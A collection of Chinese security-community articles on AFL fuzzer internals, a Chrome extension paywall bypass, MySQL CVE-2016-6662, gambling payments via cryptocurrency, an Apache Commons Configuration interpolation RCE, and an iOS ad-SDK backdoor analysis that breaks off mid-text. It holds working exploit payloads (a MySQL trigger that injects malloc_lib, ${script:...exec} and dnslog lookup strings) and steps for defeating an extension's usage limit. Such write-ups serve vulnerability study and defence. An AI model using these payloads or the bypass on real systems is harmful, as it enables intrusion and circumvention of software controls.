add_instrumentation()插桩的大致思路：首先，只对.text段进行插桩，afl-as通过字符串匹配判断是不是.text段；其次，遍历目标程序对应的汇编文件的每一行代码，然后判断其是不是一个基本块的开始，如果是的话，就在这行代码之前进行插桩。
/* afl-as.c */
while (fgets(line, MAX_LINE, inf)) {
....
if (!strncmp(line + 2, "text\n", 5) ||
!strncmp(line + 2, "section\t.text", 13) ||
!strncmp(line + 2, "section\t__TEXT,__text", 21) ||
!strncmp(line + 2, "section __TEXT,__text", 21)) {
instr_ok = 1;
continue;
}
....
if (line[0] == '\t') {
if (line[1] == 'j' && line[2] != 'm' && R(100) < inst_ratio) {
fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32,
R(MAP_SIZE)); //插桩
ins_lines++;
}
continue;
}
...
}
先看一下fprintf函数的原型，其中第二个参数是格式化字符串，从第三个参数开始都将作为格式化字符串的参数，fprintf会将格式化字符串的最终输出打印到stream所指向的流中。
int fprintf(FILE *stream, const char *format, ...);
现在来分析插桩的语句，afl-as调用fprintf()
函数将桩代码插入目标程序的汇编文件：outf是一个指针，指向被插桩的汇编文件；`trampoline_fmt_*`是要插入的桩代码；`R(MAP_SIZE)`是0~MAP_SIZE之间的一个随机数，作为`trampoline_fmt_*`的参数，其实质是为当前基本块分配的ID。
fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32, R(MAP_SIZE))
接下来，以32位为例，分析插入的桩代码（从这里开始，本文的代码分析基本都是按照afl-as.h中桩代码的顺序分析的）：
/* afl-as.h */
static const u8* trampoline_fmt_32 =
"\n"
"/* --- AFL TRAMPOLINE (32-BIT) --- */\n"
"\n"
".align 4\n"
"\n"
"leal -16(%%esp), %%esp\n"
"movl %%edi, 0(%%esp)\n"
"movl %%edx, 4(%%esp)\n"
"movl %%ecx, 8(%%esp)\n"
"movl %%eax, 12(%%esp)\n"
"movl $0x%08x, %%ecx\n"
"call __afl_maybe_log\n"
"movl 12(%%esp), %%eax\n"
"movl 8(%%esp), %%ecx\n"
"movl 4(%%esp), %%edx\n"
"movl 0(%%esp), %%edi\n"
"leal 16(%%esp), %%esp\n"
"\n"
"/* --- END --- */\n"
"\n";
这段的代码的主要作用是调用`__afl_maybe_log`：
（1）第8-12行代码将寄存器edi、edx、ecx、eax保存到栈上。在后续的桩代码中会使用这几个寄存器，因此需要先保存这些寄存器的值到栈上，以便后续恢复寄存器的值。
（2）将寄存器ecx的值设置为fprintf()中传入的R(MAP_SIZE)，第13行中`%08x`对应的值是R(MAP_SIZE)，R(MAP_SIZE)的作用是生成一个0～MAP_SIZE间的随机数，作为当前基本块的ID。
（3）调用`__afl_maybe_log`。
（4）恢复edi等寄存器，对应于15行到第19行代码。
接下来看`__alf_maybe_log的实现：
"__afl_maybe_log:\n"
"\n"
" lahf\n"
" seto %al\n"
"\n"
" /* Check if SHM region is already mapped. */\n"
"\n"
" movl __afl_area_ptr, %edx\n" ;__afl_area_ptr指向共享内存
" testl %edx, %edx\n"
" je __afl_setup\n"
"\n"
在__afl_maybe_log里面，会首先判断共享内存是否映射完成（`__afl_area_ptr`指向共享内存，在后面会解释），如果未完成映射，会执行`__afl_setup`；如果映射完成，那么会执行
`__afl_store`。
## 0x02 共享内存
在AFL中，共享内存主要用于AFL进程和target进程通信。target进程可以通过写入共享内存更新一个测试用例对target的边覆盖信息；而AFL进程可以在target执行完毕后，通过访问共享内存获取target的边覆盖信息。具体地，在一个测试用例被执行前，共享内存会被重置；在执行该测试用例的过程中会被更新；当该测试用例执行完毕后，就会得到这个测试用例对应的共享内存。因此，共享内存能够表示目标程序执行某个测试用例后的边覆盖情况。
那，什么是共享内存呢？
共享内存是Linux下进程间的一种通信方式，两个进程将各自的一段虚拟地址空间映射到同一块物理地址上，然后这两个进程就可以通过操作这块物理地址进行通信。Linux下共享内存的具体实现方式：
（1）使用shmget()函数创建共享内存，并返回一个共享内存标识符shm_id 。shmget()原型为`int shmget(key_t key,
size_t size, int shmflg);`。但是此时共享内存还不能被任何进程访问。
（2）shmat()函数的作用就是根据shm_id，将进程attach到共享内存上，即将进程虚拟地址空间中的一段内存映射到共享内存。shmat()的函数原型为`void
*shmat(int shmid, const void *shmaddr, int shmflg);`。
### AFL进程中共享内存设置
AFL通过共享内存获取一个测试用例对target的边覆盖信息。AFL开启后，会通过`setup_shm()`设置共享内存。
（1）首先通过shmget()创建大小为MAP_SIZE的共享内存：
shm_id = shmget(IPC_PRIVATE, MAP_SIZE, IPC_CREAT | IPC_EXCL | 0600);
（2）将共享内存标识符存储到环境变量，forkserver进程和target进程就可以通过环境变量访问共享内存标识符：
shm_str = alloc_printf("%d", shm_id); setenv(SHM_ENV_VAR, shm_str, 1);
（3）AFL使用变量 `trace_bits`
attach到共享内存，然后AFL就可以通过trace_bits访问共享内存。在每次执行target之前，AFL会将trace_bits清零。
trace_bits = shmat(shm_id, NULL, 0);
### target进程共享内存设置
在 __alf_maybe_log中，如果共享内存未完成映射，就会执行`je
__afl_setup`设置共享内存。`__afl_setup`的作用是获取AFL进程设置的共享内存标识符，并在target进程内attach到共享内存。
"__afl_setup:\n"
"\n"
" /* Do not retry setup if we had previous failures. */\n"
"\n"
" cmpb $0, __afl_setup_failure\n"
" jne __afl_return\n"
"\n"
" /* Map SHM, jumping to __afl_setup_abort if something goes wrong.\n"
" We do not save FPU/MMX/SSE registers here, but hopefully, nobody\n"
" will notice this early in the game. */\n"
"\n"
" pushl %eax\n" ;将eax寄存器压栈
" pushl %ecx\n" ;将ecx寄存器压栈
"\n"
" pushl $.AFL_SHM_ENV\n" ;压入getenv的参数
" call getenv\n" ;getenv(AFL_SHM_ENV)，返回值存储在eax寄存器
" addl $4, %esp\n"
"\n"
" testl %eax, %eax\n" ;判断环境变量AFL_SHM_ENV是否存在
" je __afl_setup_abort\n" ;环境变量AFL_SHM_ENV不存在，共享内存映射失败
"\n"
" pushl %eax\n" ; eax = getenv(AFL_SHM_ENV)
" call atoi\n" ; eax = atoi(getenv(AFL_SHM_ENV))
" addl $4, %esp\n"
"\n"
" pushl $0 /* shmat flags */\n"
" pushl $0 /* requested addr */\n"
" pushl %eax /* SHM ID */\n"
" call shmat\n" ; eax = shmat(shm_id, 0, 0)
" addl $12, %esp\n"
"\n"
" cmpl $-1, %eax\n"
" je __afl_setup_abort\n"
"\n"
" /* Store the address of the SHM region. */\n"
"\n"
" movl %eax, __afl_area_ptr\n"
" movl %eax, %edx\n"
"\n"
" popl %ecx\n"
" popl %eax\n"
"\n"
分析上述桩代码，其实主要作了以下几件事：
（1）通过环境变量获取共享内存标识符shm_id：getenv(AFL_SHM_ENV)
（2）通过shmat()函数，将共享内存地址存储到__afl_area_ptr：___afl_area_ptr = shmat(shm_id, 0, 0)
## 0x03 forkserver
forkserver主要是为了避免频繁调用execve()引起的开销。在完成了共享内存映射后，就会进入forkserver核心部分，执行`__afl_forkserver`。
首先，看一下forkserver进程是如何创建的。AFL通过`init_forkserver()`进行forkserver相关的初始化工作：
（1）创建状态管道和命令管道，用于AFL和forkserver进程之间的通信。AFL通过写命令管道向forkserver发送命令，forkserver通过读命令管道接收AFL的发送的命令；forkserver通过写状态管道向AFL发送信息，AFL通过读状态管道接收forkserver发送的信息。
int st_pipe[2], ctl_pipe[2]；
（2）创建forkserver进程。
在forkserver进程中，首先对状态管道和命令管道进行重定位；之后，forkserver进程调用execv()，会在target第一个基本块处执行插入的桩代码，调用__afl_maybe_log，然后跳到__afl_setup设置共享内存。共享内存设置完毕后，就进入了`__afl_forkserver`。
dup2(ctl_pipe[0], FORKSRV_FD) 和 dup2(st_pipe[1], FORKSRV_FD +1）
execv(target_path, argv);
接下来看一下`__afl_forkserver`：
"__afl_forkserver:\n"
"\n"
" /* Enter the fork server mode to avoid the overhead of execve() calls. */\n"
"\n"
" pushl %eax\n"
" pushl %ecx\n"
" pushl %edx\n"
"\n"
" /* Phone home and tell the parent that we're OK. (Note that signals with\n"
" no SA_RESTART will mess it up). If this fails, assume that the fd is\n"
" closed because we were execve()d from an instrumented binary, or because\n"
" the parent doesn't want to use the fork server. */\n"
"\n"
" pushl $4 /* length */\n"
" pushl $__afl_temp /* data */\n"
" pushl $" STRINGIFY((FORKSRV_FD + 1)) " /* file desc */\n"
" call write\n" ; write(STRINGIFY((FORKSRV_FD + 1)), __afl_temp, 4)
" addl $12, %esp\n"
"\n"
" cmpl $4, %eax\n"
" jne __afl_fork_resume\n"
"\n"
forkserver首先会向状态管道写端（即 FORKSRV_FD +
1）写入4字节的内容，告诉AFL“我准备好fork了”，而AFL进程也会通过读状态管道，判断forkserver进程是否创建成功：
rlen = read(fsrv_st_fd, &status, 4);
forkserver创建成功后，就会进入`__afl_fork_wait_loop`
，forkserver会阻塞，直到读取命令管道成功：read(STRINGIFY(FORKSRV_FD), __afl_tmp,
4)，然后forkserver判断AFL是否发送了“fork一个子进程”的命令：
"__afl_fork_wait_loop:\n"
"\n"
" /* Wait for parent by reading from the pipe. Abort if read fails. */\n"
"\n"
" pushl $4 /* length */\n"
" pushl $__afl_temp /* data */\n"
" pushl $" STRINGIFY(FORKSRV_FD) " /* file desc */\n"
" call read\n" ; read(STRINGIFY(FORKSRV_FD), __afl_tmp, 4)
" addl $12, %esp\n"
"\n"
" cmpl $4, %eax\n"
" jne __afl_die\n"
"\n"
" /* Once woken up, create a clone of our process. This is an excellent use\n"
" case for syscall(__NR_clone, 0, CLONE_PARENT), but glibc boneheadedly\n"
" caches getpid() results and offers no way to update the value, breaking\n"
" abort(), raise(), and a bunch of other things :-( */\n"
"\n"
AFL在run_target()中通过命令管道向forkserver发送消息：
res = write(fsrv_ctl_fd, &prev_timed_out, 4)
当forkserver收到AFL创建一个子进程的命令后，就会调用fork()创建target进程（Linux下的fork()提供了copy-on-write机制，fork()开销很低）：
" call fork\n"
"\n"
" cmpl $0, %eax\n"
" jl __afl_die\n"
" je __afl_fork_resume\n"
在target进程里面，会跳到`__afl_fork_resume`执行，关闭文件描述符，恢复target的正常执行：
"__afl_fork_resume:\n"
"\n"
" /* In child process: close fds, resume execution. */\n"
"\n"
" pushl $" STRINGIFY(FORKSRV_FD) "\n"
" call close\n"
"\n"
" pushl $" STRINGIFY((FORKSRV_FD + 1)) "\n"
" call close\n"
"\n"
" addl $8, %esp\n"
"\n"
" popl %edx\n"
" popl %ecx\n"
" popl %eax\n"
" jmp __afl_store\n"
"\n"
在forkserver进程里面，也就是在父进程里面，会将target进程的PID写入状态管道，然后等待target进程结束。target进程结束后，forkserver会再次向AFL说“我准备好fork了”，并继续执行`__afl_fork_wait_loop`，等待AFL发送“fork一个子进程”的命令。
" /* In parent process: write PID to pipe, then wait for child. */\n"
"\n"
" movl %eax, __afl_fork_pid\n"
"\n"
" pushl $4 /* length */\n"
" pushl $__afl_fork_pid /* data */\n"
" pushl $" STRINGIFY((FORKSRV_FD + 1)) " /* file desc */\n"
" call write\n"
" addl $12, %esp\n"
"\n"
" pushl $0 /* no flags */\n"
" pushl $__afl_temp /* status */\n"
" pushl __afl_fork_pid /* PID */\n"
" call waitpid\n"
" addl $12, %esp\n"
"\n"
" cmpl $0, %eax\n"
" jle __afl_die\n"
"\n"
" /* Relay wait status to pipe, then loop back. */\n"
"\n"
" pushl $4 /* length */\n"
" pushl $__afl_temp /* data */\n"
" pushl $" STRINGIFY((FORKSRV_FD + 1)) " /* file desc */\n"
" call write\n"
" addl $12, %esp\n"
"\n"
" jmp __afl_fork_wait_loop\n"
forkserver创建完target进程后，需要将target进程的PID写道状态管道；而AFL进程则需要从状态管道中读出target进程的PID。
res = read(fsrv_st_fd, &child_pid, 4)
## 0x04 边覆盖记录
在__alf_maybe_log中，如果共享内存完成了映射，就会执行`__afl_store`，在共享内存中更新边覆盖情况。
"__afl_store:\n"
"\n"
" /* Calculate and store hit for the code location specified in ecx. There\n"
" is a double-XOR way of doing this without tainting another register,\n"
" and we use it on 64-bit systems; but it's slower for 32-bit ones. */\n"
"\n"
#ifndef COVERAGE_ONLY
" movl __afl_prev_loc, %edi\n" ;将__alf_prev_loc的值存储到寄存器edi
" xorl %ecx, %edi\n" ;将“__alf_prev_loc 异或 ecx”的值存储到edi寄存器中，相当于将边ID存储到了寄存器edi中
" shrl $1, %ecx\n" ;将ecx的值右移1位，然后存储至ecx寄存器中
" movl %ecx, __afl_prev_loc\n" ;将ecx寄存器的值存储到__afl_prev_loc中
#else
" movl %ecx, %edi\n"
#endif /* ^!COVERAGE_ONLY */
"\n"
#ifdef SKIP_COUNTS
" orb $1, (%edx, %edi, 1)\n"
#else
" incb (%edx, %edi, 1)\n"
#endif /* ^SKIP_COUNTS */
"\n"
`__afl_store`的作用是计算前一个基本块（pre_location）到当前基本块（cur_location）这条边的ID，然后统计其出现次数。具体地，AFL使用（pre_location
>> 1) xor (cur_locatino) 的方式记录一条边；使用共享内存（存储在寄存器edx中）统计边的出现次数。在上述汇编代码中：
（1）ecx存储的是`R(MAP_SIZE)`得到的值，也就是存储着为当前这个基本块分配的ID，即伪代码中的cur_location；
（2）`__afl_prev_loc`表示`上一个基本块的ID>>1`；
（3）edx存储的是共享内存的地址。
（4）`incb (%edx, %edi, 1)`这条指令就在共享内存（edx）中，将这条边（edi）的出现次数+1。
__afl_store之后是`__afl_return:\n`。
"__afl_return:\n"
"\n"
" addb $127, %al\n"
" sahf\n"
" ret\n"
"\n"
关于插桩，可能会存在两个疑问：
（1）边覆盖不够精确，是否能够实现路径覆盖？边覆盖确实不够精确，但是目前来看，它还是简单实用的。论文[Be Sensitive and
Collaborative: Analyzing Impact of Coverage Metrics in Greybox
Fuzzing](https://www.usenix.org/conference/raid2019/presentation/wang)对不同代码覆盖率统计方式对于fuzzing的影响进行了研究。
（2）trace_bits使用边ID作为索引，是否存在hash碰撞？答案是存在的，hash碰撞由两部分引起。首先，trace_bits的大小为64KB，每个索引对应的数据大小为1
byte，也就是说，最多能存放2^16条边，遇到边数大于2^16的目标程序，理论上会有概率存在碰撞；其次，边ID的计算方式没有过滤碰撞，因此这里也可能存在碰撞。为了解决hash碰撞，[CollAFL](http://chao.100871.net/papers/oakland18.pdf)提出了新的边ID计算方式，[CSI-Fuzz](https://ieeexplore.ieee.org/document/9139349/)也设计了新的插桩方式。
## 0x05 总结
AFL一共涉及三个进程，AFL进程，forkserver进程，以及targetg进程。AFL进程创建了forkserver进程，forkserver进程根据AFL的指令创建target进程。
AFL和forkserver通过管道进行通信。
AFL和target通过共享内存通信，获取目标程序代码覆盖信息。AFL通过trace_bits访问共享内存，target通过__afl_area_ptr访问共享内存。
## 0x06 参考文献
<https://github.com/google/AFL/>
<http://rk700.github.io/2017/12/28/afl-internals/> | 社区文章 |
# 记一次chrome插件调试
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
因为谷歌翻译退出中国，导致翻译不太好用了，所以去谷歌商店找了个用着还不错的翻译插件，没想到发现其全文翻译的功能每天只能使用3次，不限使用需要开会员。之前还没做过插件调试，这次就简单试试水，最后成功达到了目的，遂记录下。
## 调试过程
### 思路
因为这个插件每天只能全文翻译三次，当超过次数后会弹窗提示，导致功能不可用。猜测肯定是哪里做了一个计数，同时还有会员、功能翻译次数的判断，那么思路无非就是修改这个判断的结果，从而达到无限制使用的目的
### 前置知识
Chrome插件基本由mainfest.json, content-script, background.js, popup组成
mainfest.json: 插件的配置文件
content-script: 用来向页面注入css和js
background.js: 常驻于浏览器的一个脚本, 始终在运行
popup: 即点击插件的logo以后弹出的窗口
### debug
打开chrome，在源码栏选择content scripts栏，全局搜索提示“非会员每天”定位到判断函数，随便在上面下个断点
点击插件翻译按钮，简单跟了几步就发现一个关键判断，这里的参数值不用关心是如何生成的，只需要知道这里判断return的结果会对上面的判断产生影响
其中一个判断值就是i这个对象
i这个对象里面有个字典，其中pageTranslateLimit这个值中的times很关键
只需要将它每次修改为0，那么上面的次数判断就能绕过，充不充会员也就没啥意义了
### 修改覆盖
在chrome的地址栏输入chrome://version/后, 可以看到你的chrome根目录
在该目录下的Extensions是插件目录，右键插件图标管理扩展程序就能看到插件的id值
将原目录的文件拷出来，然后修改99.js文件，在关键函数下重新赋值即可
然后删除原版插件，打开开发者模式，加载修改后的文件
然后就能愉快的无限制使用翻译功能了 | 社区文章 |
# 【技术分享】CVE-2016-6662-MySQL ‘malloc_lib’变量重写命令执行分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
####
**引用**
【漏洞预警】Mysql代码执行漏洞，可本地提权（含exp，9/13 01点更新）
<http://bobao.360.cn/learning/detail/3025.html>
【技术分享】CVE-2016-6662：Mysql远程代码执行/权限提升技术分析正式版（9/13 10:47更新）
[](http://bobao.360.cn/learning/detail/3027.html)<http://bobao.360.cn/learning/detail/3027.html>
**前言**
今天有个关于MySQL的漏洞被披露出来，编号CVE-2016-6662。该漏洞主要涉及到 mysqld_safe 脚本中在加速/处理内存时会采用
“malloc_lib”变量作为辨别标记选择性加载(preload方式)比如tcmalloc之类的malloc库。不幸的的是这个变量可以被my.cnf所控制，导致my.cnf一旦被攻击者在mysql客户端篡改的话可以直接导致mysqld_safe所调用的mysqld进程执行权被控制。
**编者：原帖请移步** <http://bobao.360.cn/learning/detail/3025.html>
**技术分析**
具体的攻击思路前言部分基本已经表述出来，这里不再重述。笔者来看看漏洞作者在【1】中做了3种攻击方式。作者的思路基本是围绕着如何用这几种技巧写入 my.cnf
被mysqld_safe调用执行这个中心攻防点来进行。
我们先看看最简单的第1种方法
1） 采用 set global general_log 来绕过已存在文件（即my.cnf）
a）设置 my.cnf 为 mysql 用户所在权限的基础上
# ll /etc/my.cnf
-rw-r–r– 1 mysql mysql 380 Sep 12 23:18 /etc/my.cnf
注：默认权限是root，但是不排除mysql集群使用时每个my.cnf是mysql组可读写；
b） 开始攻击，各位直接看图吧
注: 这里使用root登录，普通用户默认是没更改全局变量general_log_file 的权限
mysql> set global general_log_file = '/etc/my.cnf';
ERROR 1227 (42000): Access denied; you need the SUPER privilege for this operation
攻击成功后的my.cnf
2） 使用隐藏的/var/lib/mysql/.my.cnf 和 /var/lib/mysql/my.cnf
这部分讲起来其实意义不大，就是历史原因造成这部分mysql数据目录下的my.cnf和.my.cnf。最糟糕的是这部分还是mysql用户组可以读写的目录。所以我们又能控制到my.cnf了。
写入的方法有两种，一种还是方法一的变量，另一个是常见 INTO OUTFILE 文件注入技巧。
3） 作者考虑下了上面2种方式都是需要root/admin 组的权限，那换个带文件操作权限的普通用户呢？
作者在假设攻击者还有文件权限的情况下使用写入触发器文件的方式来“提权”（注意是提权）执行这个触发器。
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
ON `active_table` FOR EACH ROW
BEGIN
DECLARE void varchar(550);
set global general_log_file='/var/lib/mysql/my.cnf';
set global general_log = on;
select "
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
" INTO void;
set global general_log = off;
END;
接下来就等这个这个触发器在表被flushed的时候被触发了（说真的，笔者没实践这个步骤），比如：
INSERT INTO `active_table` VALUES('xyz');
这样我们就可以提权回到了步骤一。
最后，关于PoC或相关的信息您可以直接访问【1】获得。作者其实在后面的so也提供一个很好的回写技巧，由于preload可以优先mysqld进程加载my.cnf，所以它就能修复my.cnf里的内容。
#### ** 总结**
这个漏洞的危害建立在一个你至少需要普通用户的基础上，危害程度得因人而异，不注意安全的可能使用的mysql是一大堆弱口令的root用户；注意安全的基本都是普通mysql用户；集群上启动MySQL进程的用户也是个需要考虑的；至于web注入点使用这个功能个人觉得可能就比较窄了。
MySQL的修复【２】选择的是对malloc_lib的路径进行限制 /usr/lib, /usr/lib64, /usr/lib/i386-linux-gnu, or /usr/lib/x86_64-linux-gnu；
最后，笔者认为MySQL对于这样一个漏洞的处理是一个不太负责任的处理，也没见进入“禁运期”和各大发行版进行沟通。这点是需要官方进行考虑和改进的。
####
#### **参考**
【1】 [http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html](http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html)
【2】
[https://dev.mysql.com/doc/relnotes/mysql/5.5/en/news-5-5-52.html](https://dev.mysql.com/doc/relnotes/mysql/5.5/en/news-5-5-52.html)
**
**
**引用**
* * *
【漏洞预警】Mysql代码执行漏洞，可本地提权（含exp，9/13 01点更新）
<http://bobao.360.cn/learning/detail/3025.html>
【技术分享】CVE-2016-6662：Mysql远程代码执行/权限提升技术分析正式版（9/13 10:47更新）
[http://bobao.360.cn/learning/detail/3027.html](http://bobao.360.cn/learning/detail/3027.html) | 社区文章 |
# 博彩平台支付通道新趋势，虚拟货币成“新宠”
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
1月14日，公安部在京举行新闻发布会，介绍公安机关打击治理网络黑灰产采取的措施及取得的成效。针对支付结算环节，聚焦非法第四方支付平台、跑分平台打财断血，摧毁相关平台700余个，打掉为各类犯罪提供非法支付结算的网络团伙300余个。特别是针对虚拟币洗钱新通道，紧盯形势变化、犯罪苗头、创新打击策略，破获相关案件259起，收缴虚拟币价值110亿元。
随着网络不断深入人们的生活，网络赌博、网络色情、网络诈骗等网络犯罪逐渐发展壮大，但核心环节——收款、提现一直是其发展的“瓶颈”。通过对博彩代理平台的挖掘发现，
**虚拟货币已成为博彩平台充值、提现通道的“宠儿”**
，原先在博彩平台占据支付主要地位的微信、支付宝等第三方充值方式，在某些博彩平台逐渐销声匿迹，除仍保留的网银转账入口外，大部分都是虚拟货币充值的入口。
**博彩平台使用的虚拟货币支付通道**
虚拟货币的隐蔽性，USDT的“稳定性”受到了赌博产业的追捧，跑分平台将充值码、抵押物更换成USDT。一方面，赌客可以通过USDT充值赌资，一方面，赌博平台可以将USDT进行流转。从博彩平台提供的虚拟货币通道来看，主要包含了
**虚拟货币钱包** （针对目前手上没有虚拟货币的用户）、 **虚拟货币直转** （手上已有虚拟货币的用户）两种方式。
**虚拟货币钱包**
以某博彩平台为例，其支付环节使用了两种比较主流的虚拟货币钱包：*宝钱包、*AY钱包，，一方面支持储存、发送USDT、ETH、BTC主流虚拟货币，另一个方面提供P2P交易服务，用户可以在该平台交易该平台自有的货币。
赌客在赌博平台的充值流程
当赌客想在赌博平台充值时，用人民币在*AY钱包中的P2P平台购买C**P币，将*AY钱包与赌博平台绑定后，使用*AY钱包进行赌资充值。此种情况下，博彩平台收到的是虚拟货币，解决了前期需要不断购买四件套、搭建四方充值入口的难题，后续想将虚拟货币变现，一方面可以借助*AY钱包的P2P平台进行挂单，将C**P币售卖给赌客，也可以通过其他虚拟货币交易所进行变现。
**虚拟货币直转**
虚拟货币直转，若赌客手上已有虚拟货币，可以向页面提供的虚拟货币地址扫码转账完成赌资充值操作。
黑灰产业的背后，必然有人在提供通道技术支撑。由原有的赌博平台使用的四方平台，到现在的新的支付渠道背后，是否也有新的产业链应运而生呢？无疑是初见端倪。
**支付通道分析**
以某博彩平台为例，其使用到了3个支付接口，给用户展示网银收款账户、虚拟货币收款地址。
通过专门的支付通道后台、应用进行资金流转操作。
**虚拟货币支付通道产业衍生**
通过深入研究发现，例如菜**钱包，可支持USDT接口，让平台、商城、实现一键调用API接口、一键生成USDT钱包、一键自动实现USDT充提、一键归集全部地址、一键寄售USDT。甚至一些源码网站也提供此些支付通道的演示站，其使用方式、界面与传统的四方支付接口相似。
**随着断卡行动的持续加大，非法四方支付的生存压力越来越大，可预见未来依托于四方支付的博彩、诈骗等行业后续可能都会转向通过虚拟货币收款，洗钱，追溯难度巨大。**
**个人安全防护建议**
增强风险意识，绝不将银行卡、电话卡、收款码出借或出售给他人，避免被非法利用，不做犯罪分子的“帮凶”。同时，树立正确的投资理念，不参与虚拟货币交易炒作活动，不用于虚拟货币账户充值和提现、购买和销售相关交易充值码以及划转相关交易资金等活动，谨防个人财产及权益受损。 | 社区文章 |
**作者：标准云
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
## 漏洞简介
Apache Commons Configuration 执行变量插值 (variable interpolation)，
允许动态评估和扩展属性。插值的标准格式是`"${prefix:name}"`，其中 "prefix" 用于查找定位执行插值
`org.apache.commons.configuration2.interpol.Lookup` 的实例。从 2.4 版到 2.7 版，默认的
Lookup 实例集包括可能导致任意代码执行或与远程服务器联系的插值器。
* "script" - execute expressions using the JVM script execution engine (javax.script) 使用 JVM 脚本执行引擎(javax.script)执行表达式
* "dns" - resolve dns records 解析 dns 记录
* "url" - load values from urls, including from remote servers 从 url 加载值，包括从远程服务加载值
如果使用了不受信任的配置值，则在受影响版本中使用插值默认值的应用程序可能受到远程代码执行的影响。
## 漏洞复现
创建一个 maven 项目 添加依赖
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-configuration2 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-configuration2</artifactId>
<version>2.7</version>
</dependency>
</dependencies>
import org.apache.commons.configuration2.interpol.ConfigurationInterpolator;
import org.apache.commons.configuration2.interpol.InterpolatorSpecification;
public class ConfigurationDemo {
public static void main(String[] args) {
InterpolatorSpecification interpolatorSpecification = new InterpolatorSpecification.Builder().withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups()).withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values()).create();
// 创建 ConfigurationInterpolator 实例
ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(interpolatorSpecification);
// 解析包含占位符的字符串
System.out.printf("script: %s",interpolator.interpolate("${script:javascript:java.lang.Runtime.getRuntime().exec(\"calc\")}"));
}
}
## 漏洞分析
画出一整个的调试过程
通过 `ConfigurationInterpolator.interpolate()` 方法解析出 表达式的值
import org.apache.commons.configuration2.interpol.ConfigurationInterpolator;
import org.apache.commons.configuration2.interpol.InterpolatorSpecification;
public class Demo {
public static void main(String[] args) {
InterpolatorSpecification interpolatorSpecification = new InterpolatorSpecification.Builder()
.withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
.withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values())
.create();
ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(interpolatorSpecification);
System.out.printf("%s", interpolator.interpolate("${env:Path}"));
}
}
### 漏洞调试
`org.apache.commons.configuration2.interpol.ConfigurationInterpolator#interpolate`
?
首先会调用 `looksLikeSingleVariable` 判断是否符合表达式的格式
`org.apache.commons.configuration2.interpol.ConfigurationInterpolator#looksLikeSingleVariable`
?
接着利用 `resolveSingleVariable` 对表达式进行处理
`org.apache.commons.configuration2.interpol.ConfigurationInterpolator#resolveSingleVariable`
调用 `extractVariableName` 去除 `${}`
`org.apache.commons.configuration2.interpol.ConfigurationInterpolator#extractVariableName`
接着调用 `resolve` 对表达式进行处理
`org.apache.commons.configuration2.interpol.ConfigurationInterpolator#resolve`
首先是根据 `:` 将字符串分割，然后先利用 `fetchLookupForPrefix` 取出 lookup 的对象
`org.apache.commons.configuration2.interpol.ConfigurationInterpolator#fetchLookupForPrefix`
`org.apache.commons.configuration2.interpol.StringLookupAdapter#lookup`
`org.apache.commons.text.lookup.ScriptStringLookup#lookup`
再次将表达式根据 `:` 分割开来
`javax.script.AbstractScriptEngine#eval(java.lang.String)`
根据漏洞简介中 dns 和 url 都属于危险的插值器
`System.out.printf("script:
%s",interpolator.interpolate("${url:http:http://127.0.0.1:8080/}"));`
`System.out.printf("script:
%s",interpolator.interpolate("${dns:whoami.4ey83g.dnslog.cn}"));`
## 漏洞修复
移除了三个危险的插值器 `script` 、 `dns` 和 `url`
* * * | 社区文章 |
# iBackDoor(爱后门)和DroidBackDoor(安后门)：同时影响iOS和Android的”后门”SDK？
|
##### 译文声明
本文是翻译文章，文章来源：wooyun
原文地址：<http://drops.wooyun.org/papers/10209>
译文仅供参考，具体内容表达以及含义原文为准。
作者:蒸米@阿里移动安全,楚安@阿里威胁感知,迅迪@阿里移动安全
**0x00 FireEye报告**
iOS被XcodeGhost血洗一把之后,Android又被WormHole暴揍一顿。正当大家打算歇一歇的时候,FireEye的Zhaofeng等人又发表了一篇报告叫《iBackDoor:
High-Risk Code Hits iOS
Apps》。报告中指出FireEye的研究员发现了疑似”后门”行为的广告库mobiSage在上千个app中,并且这些app都是在苹果官方App
Store上架的应用。通过服务端的控制,这些广告库可以做到:
1. 录音和截屏
2. 上传GPS信息
3. 增删改查app数据
4. 读写app的钥匙链
5. 发送数据到服务器
6. 利用URL schemes打开其他app或者网页
7. 安装企业应用
FireEye的研究员一共在App
Store上发现了2,846个app包含具有“后门”特征的mobiSage广告库。并且这些广告库会不断的向服务器端发送请求,并获取执行指令的JavaScript脚本。FireEye的研究员还发现mobiSage广告库一共有17
不同的版本从5.3.3到6.4.4。然而在最新的mobiSage SDK 7.0.5版本中已经将这些”后门”特征删掉了。
**
**
**0x01 iOS样本 – iBackDoor分析**
看到FireEye的报告后,我们第一时间拿到了iOS上的app样本进行分析(注:在我们分析时,该样本还没有下架)。在广告库的类MSageCoreUIManagerPlugin中,我们的确发现了报告中所提到的各种控制功能。其中包括非常高危的获取录音、截屏功能以及读取修改字符串的函数。
根据反编译的代码可以看到,iBackDoor在获取到服务器命令后会启动录音功能并将录音保存为audio_[编号].wav,并且可以通过sendHttpUpload函数将文件发送到服务器上。
iBackDoor还可以截取当前屏幕的内容,反编译代码如下:
iBackDoor还可以读取keychain的数据,也就是iOS上的app用来保存密码信息的容器:
一个广告sdk,为什么需要录音,截屏和读取密码等功能呢?的确非常可疑。
除此之外,iBackDoor还可以根据服务器的指令调用任意的URL
